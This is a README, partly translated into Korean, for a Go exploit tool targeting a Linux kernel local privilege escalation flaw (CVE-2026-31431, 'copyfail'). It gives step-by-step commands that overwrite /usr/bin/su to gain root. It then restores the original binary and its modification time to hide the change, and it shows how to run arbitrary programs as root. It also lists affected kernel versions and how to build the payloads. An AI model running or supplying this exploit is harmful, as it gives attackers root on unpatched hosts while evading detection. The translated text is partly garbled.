
A Go implementation of copyfail (CVE-2026-31431)의 Go 구현
대부분의 Linux LPE는 레이스 윈도우(race window)나 커널별 오프셋이 필요합니다. Copy Fail은 직선형 로직 결함(straight-line logic flaw)으로, 둘 다 필요 없습니다. 동일한
732바이트 Python 스크립트정적 Go 바이너리는 2017년 이후 출시된 모든 Linux 배포판을 루트 권한으로 탈취합니다.
CVE-2026-31431의 Go 구현입니다. 정적 바이너리가 필요하고 Python 의존성이 없을 때 사용하세요.
자세한 내용은 copy.fail을 참조하세요.
# Get the binary to your Linux host with code execution (exercise for the reader)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su
root@host# cat /tmp/su > /usr/bin/su # Restore the original su binary
root@host# touch -r /tmp/su /usr/bin/su # Restore the modified time of the original su
root@host# rm /tmp/su
root@host# # Do things as root =)
프로그램을 root 권한으로 승격하는 데 유용합니다
# Get the binary to your Linux host with code execution (exercise for the reader)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su --exec ./your-binary
user@host$ # Use whatever you ran to restore su from /tmp/su
Debian 호스트(Debian 13 테스트 완료)에서 payloads/build-n-print.sh로 페이로드를 직접 컴파일하세요.
apt install nasm python3 binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf를 실행한 다음 payloads 디렉터리 안에서 스크립트를 실행해야 합니다. 각 페이로드를 컴파일하고 zlib 압축 16진수 문자열을 출력합니다. 이를 main.go의 내용과 비교하고(또는 자신의 것으로 교체하고) 메인 프로젝트 디렉터리에서 goreleaser build --snapshot --clean으로 copyfile-go 바이너리를 빌드하세요.
floor: torvalds/linux 72548b093ee3 August 2017, v4.14
(AF_ALG iov_iter rework that
introduced the file-page write
primitive via splice into the AEAD
scatterlist)
ceiling: torvalds/linux a664bf3d603d April 2026, mainline
(reverts the 2017 algif_aead
in-place optimization; separates
source and destination scatterlists
so page-cache pages can no longer
be a writable crypto destination)
그 사이: 수정 사항을 백포트하지 않은 모든 주요 배포판 커널.
Ubuntu, RHEL, SUSE, Amazon Linux, Debian 모두 공개 시점에 기본 클라우드 이미지 커널에서
취약한 것으로 확인되었습니다. 배포판 차원의 백포트는 공개와 함께 2026-04-29경부터
배포되기 시작했습니다. 대상 커널이 해당 범위에 속하는지 확인하려면 커널의
git 로그나 배포판의 변경 로그에 a664bf3d603d(또는 해당 배포판별 백포트)가
있는지 확인하세요.